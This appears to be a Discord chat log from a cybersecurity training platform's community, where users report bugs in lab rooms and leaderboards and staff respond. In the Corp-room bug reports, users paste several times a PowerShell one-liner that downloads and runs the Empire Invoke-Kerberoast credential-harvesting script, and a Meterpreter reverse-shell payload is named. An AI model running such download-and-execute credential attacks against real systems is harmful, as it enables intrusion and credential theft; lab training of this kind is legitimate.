The quote thing has no issue, we just can't figure out why is there so many invalid-user
But yeah no special_quote is intended
special_quote is all we could come up with for a special quote
"bLuE iS nOt BrOkEn. -DarkStar, probably."
And this
I added another one but apparently it got stashed, I'll readd
And the highest confidence level one isn't correct (or at least for me)
Christmas challenge for today, Q2 has quite a few OSs with the same confidence level π
And the highest confidence level one isn't correct (or at least for me)
Yes, port scanning over the internet isn't very reliable
I get different numbers of ports, or incredibly slow (read: hours) for a scan
There's a mistake in the official room Corp
Flag needs a space, but flag in the file doesn't have one
Also, the command is wrong because it specifies the name of an AD forest that doesn't exist
You need to change the name of the forest, AND also respace the command it gives you
it doesn't tell you enough about the box to enumerate it correctly, especially since this is a walkthrough
iexβ(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') is also broken
iexβ(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1')
iexβ(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') is the correct
Also password has expired so you have to manually type out a ludicrously long password and reset it
I expected more from an official room.
@spiral flame yeah, I pinged @frosty cape a few times within the past week on the Corp room on those issues and didn't hear back
i also use the Feedback link on the site for a lot of stuff like that but never hear back if any of it gets fixed. So no clue if it's doing any good to report
Hi @tidal kiln what's your username? I don't recall getting anything from you :(
I always try to answer all feedback or put the bugs on my to do list
Also @spiral flame hmm, I'll look into this - we had that rooms VM built by a community member. So will ask them to fix the password issue and I'll have the VM reuploaded.
weird thing i finished this room and i dont see my self listed here
Assuming you've done a hard refresh of the page?
same, i joined like 6 rooms and my name not showing ini any
Hmm weird, what's your THM username and what room(s) is this an issue in?
sec
I think you'll only show in the leaderboard/chart if you're in the top 50 ranking for the room as well
Yeah, it's probably a case of not being in the top 50 - If I can remember/find the api request to pull the full leaderboard I'll check to confirm
lol
dont you think ?
50 seems reasonable to me
Even with 50 the chart is messy, dread to think what it would look like with double the number of results lol
If you're that low you probably with end up in the grey mess anyways
Yeah, the chart is limited to 50 users so @deft jackal you wont see yourself sorry
I was thinking of changing the line graph to a bar chart
So you see users scores more accurately.
Alternatively maybe there could be an api call where a user's own score will always appear on the room leader board with the rank for the room
Room Ice Task 4 # 10 doesn't seem to display any more options after setting the session.
Only after running the exploit command did a payload (windows/meterpreter/reverse_tcp) automatically select itself and more options showed up
Weird I swear it worked when I was doing it the other day
ditto, just did the same room and can confirm exact same finding as @fervent gust
@tropic ore dm me if you need any help
Not really a bug but I believe there is a typo in #rules
"strictly prohibited, just don't turn it into advertising."
Is anyone else having trouble after connecting to FTP on task 16 of the christmass event? I can login just fine and execute the help command. When I try to list the directory using dir or ls however the server disconnects
switching to passive mode made no difference
When I enable debug mode it seems like something is not set up correctly:
ftp: setsockopt (ignored): Permission denied
---> PORT 10,8,13,251,189,243
@frosty cape You mentioned that this past sunday you were going to remove the feature regarding "Also is there any way to leave a room that is for members only? If I click the room, it just immediately takes me to /why-subscribe". Just wanted to check in since it still won't allow me to leave a room that requires a subscription. The room in this case was Game Zone; Code: gamezone
It seems that the progress section is bugged on the paths. I'm currently doing primer and the values are different
versus this
Ooooooo ok
That is really really weird
I've put this high on my to-do list
@ocean reef I will remove this in the next push - advent of cyber has been keeping me from regularly building and pushing code.
@frosty cape okay π thank you for looking into it!
quite interesting to be fair! also, there's this section of the wiki that could be integrated in the paths https://tryhackme.com/goals
TryHackMe is a platform for learning and teaching cyber security.
rather than having that info in 2 places as it is closely related, and probably leave the paths free to access but point out which rooms you require subscription for
I couldn't bring myself to get rid of the goals page
Because I like how you can get a good overview of all rooms
Jeesssuus, that goals page needs updating
We have so many new rooms added since then
i understand that, but i think it can be integrated as part of the learning paths
Wouldn't it be repeated though?
like it is now but in brackets (subscribers only)
well you will have the room, the description and the outcome
because the rooms are layed out in the pathways
so you won't require the goals page
it's up to you, i just find it a little bit redundant, you could do the tick on normal paths too probably?
Yeah thats true
like let's say you got the path> expand> you get rooms>expand> you get the outcomes
and that to be accessible to everyone but the premium rooms to be pointed out
i don't know if it makes sense to you what I'm saying
No worries @frosty cape and thanks for all the hard work. Loving the advent calendar and finally getting into some additional rooms of THM
how
yes
i sent it there
it would have been better if we could do it for ourselves
how long will it take for my email to be corrected
??
@vocal raptor
@trim relic I will do it now if you email
i already did
Out of interested, why do you need it asap?
can you please check
i would like to get verified and like to explore and learn
lets see if i can subscribe aswell
@trim relic I wouldn't post your contact details on a public discord like this π
Your email has been updated
@mortal root Yeah good shout
@rare swallow Path bug has been fixed, can you please please verify?
@frosty cape On the goals page, basicpentesting has been made private
@frosty cape confirmed. Works fine! ππΌ
Amazing, what % is it showing out of interest
57
On both
Wait a moment
@frosty cape that's not right. I got 3 boxes left on this path
How did it drop from 73 to 57
So it does it depending on how many tasks are left
Are the last 3 boxes onthe path have many tasks?
Let me look into it again
I can't check right now, sorry. It's the blue primer part and ice
OKay I will check again π
Ah actualyl dude yeah then its accurate
Blue primer is a large part
@rugged ermine
That must have glitched on an edit, gimme just a sec
@rare swallow thanks much for the heads up on that
Check it now, I fixed it
Looks like another question got squished into it a bit
Splunk is a very powerful tool but the learning curve is immense
@rugged ermine more of a suggestion for this:
you should either word it a little bit better or give a hint out that it's similar to a function in excel
took me ages to understand what it's asked
from the context it points out to 'rename'
Hi! Wrong channel btw hop on to #521382216304033794 or maybe #thm-community-media
I assume this is your work @frosty cape ? Room - learnburp
Think so?
has some slight grammar mistakes
well text, my bad
and deploy on both task 2 and 3, even though it's the same machine?
Thanks for reporting, I removed deploy from both tasks
And removed that a;sp
Will read the room fully tonight and update accordingly.
thank you :), also, is there any chance we can get an updated version of it
i mean a more thorough room that covers a little bit more of the functionality of burp suite. as i am just learning about it now it seems pretty basic. I think a room that covers on how to use it and perform certain tasks to capture some flags will be more beneficial for the users
Yeah, I really need to add more tasks.
I want to focus on the content development, we have the community creating rooms which is amazing.
But soon I will shift my focus on seeking out great content developers to help us.
okay, that makes sense. Then, you should shift the ownership of the rooms to someone else in this process. or are you going to add sections on the rooms like: createdby - ; updated by - maintained by- ?
β€οΈ
Lmao. I actually wouldn't mind I don't like the green name Β―_(γ)_/Β―
@glass kindle Ah, this is weird
